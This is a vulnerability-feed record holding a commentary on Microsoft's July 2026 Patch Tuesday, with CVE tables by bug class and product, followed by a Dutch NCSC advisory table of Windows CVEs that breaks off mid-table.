5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:02:27.931298Z"}, {"uuid": "0b4d30e9-a36c-4856-82aa-4c8d4a4623bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54111", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| 